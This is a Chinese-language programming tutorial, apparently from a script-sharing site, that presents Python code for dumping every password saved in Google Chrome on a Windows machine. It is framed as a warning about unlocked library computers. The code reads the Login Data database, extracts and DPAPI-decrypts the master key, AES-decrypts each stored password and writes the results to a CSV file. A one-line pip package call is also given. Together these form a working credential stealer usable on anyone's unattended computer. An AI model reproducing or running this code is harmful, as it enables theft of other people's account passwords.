基于Python實現(xiàn)一鍵獲取電腦瀏覽器的賬號密碼
導(dǎo)語
發(fā)現(xiàn)很多人在學(xué)校圖書館喜歡用電腦占座(以古度今,我好像好多年沒去過學(xué)校圖書館了),而且出去的時候經(jīng)常不鎖屏,為了讓大家養(yǎng)成良好的習(xí)慣,我來帶大家寫個小程序吧,無需輸入任何密碼就可以快速獲取你存儲在電腦瀏覽器中的所有賬號和密碼,算是通過實踐出真知來給大家提個醒了~
廢話不多說,讓我們愉快地開始吧~
相關(guān)文件
開發(fā)工具
Python版本:3.7.8
相關(guān)模塊:
pikachupytools模塊;
pycryptodome模塊;
以及一些python自帶的模塊。
環(huán)境搭建
安裝Python并添加到環(huán)境變量,pip安裝需要的相關(guān)模塊即可。
原理簡介
眾所周知,我們的瀏覽器里一般存儲了很多我們訪問過的網(wǎng)站的賬號和密碼:

一般情況下,查看這些密碼是需要輸入電腦的開機(jī)密碼的。但是事實上,我們也可以通過其他方式直接查看這些賬號密碼。例如谷歌瀏覽器里保存賬號密碼的數(shù)據(jù)庫文件默認(rèn)路徑為:
os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'
我們可以通過讀取該文件獲得對應(yīng)的賬號密碼:
'''讀取數(shù)據(jù)庫數(shù)據(jù)'''
def readdb(self, dbpath, master_key):
sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;'
client = sqlite3.connect(dbpath)
cursor = client.cursor()
with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file:
cursor.execute(sql)
csv_writer = csv.writer(csv_file, dialect=('excel'))
if not self.write_heads_flag:
csv_writer.writerow(self.csv_heads)
self.write_heads_flag = True
info = []
for row in cursor.fetchall():
for idx in range(len(self.csv_heads)):
if isinstance(row[idx], bytes):
info.append(self.decrypt(row[idx], master_key))
else:
info.append(row[idx])
csv_writer.writerow(info)
info = []
cursor.close()
client.close()其中密碼是加密之后的結(jié)果,打印出來大概是這樣子的:

但是解密其實也很簡單,通過網(wǎng)上的資料可以知道,我們只需要獲得key值:
'''獲得master key'''
def getmasterkey(self, local_state_path):
import win32crypt
with open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp:
local_state = fp.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
master_key = master_key[5:]
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key然后根據(jù)key值進(jìn)行解碼就行了:
'''解碼'''
def decrypt(self, value, master_key):
print(value)
if value[:3] == b'v10':
from Crypto.Cipher import AES
iv, payload = value[3:15], value[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_value = cipher.decrypt(payload)
decrypted_value = decrypted_value[:-16].decode()
else:
import win32crypt
decrypted_value = win32crypt.CryptUnprotectData(value)[1].decode()
return decrypted_value解碼之后的運(yùn)行效果結(jié)果如下:

獲得的結(jié)果默認(rèn)保存在results.csv中,截圖如下:

ok,大功告成啦,完整源代碼詳見相關(guān)文件。
想要快速測試的小伙伴只需要pip安裝一下pikachupytools包:
pip install pikachupytools --upgrade
然后簡單寫幾行代碼就能調(diào)用運(yùn)行了:
from pytools import pytools
tool_client = pytools.pytools()
tool_client.execute('decryptbrowser')到此這篇關(guān)于基于Python實現(xiàn)一鍵獲取電腦瀏覽器的賬號密碼的文章就介紹到這了,更多相關(guān)Python瀏覽器賬號密碼內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
用scikit-learn和pandas學(xué)習(xí)線性回歸的方法
這篇文章主要介紹了用scikit-learn和pandas學(xué)習(xí)線性回歸的方法,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2019-06-06
Python3.6+Django2.0以上 xadmin站點的配置和使用教程圖解
django自帶的admin站點雖然功能強(qiáng)大,但是界面不是很好看。這篇文章主要介紹了Python3.6+Django2.0以上 xadmin站點的配置和使用 ,本文圖文并茂給大家介紹的非常詳細(xì),具有一定的參考借鑒價值,需要的朋友可以參考下2019-06-06

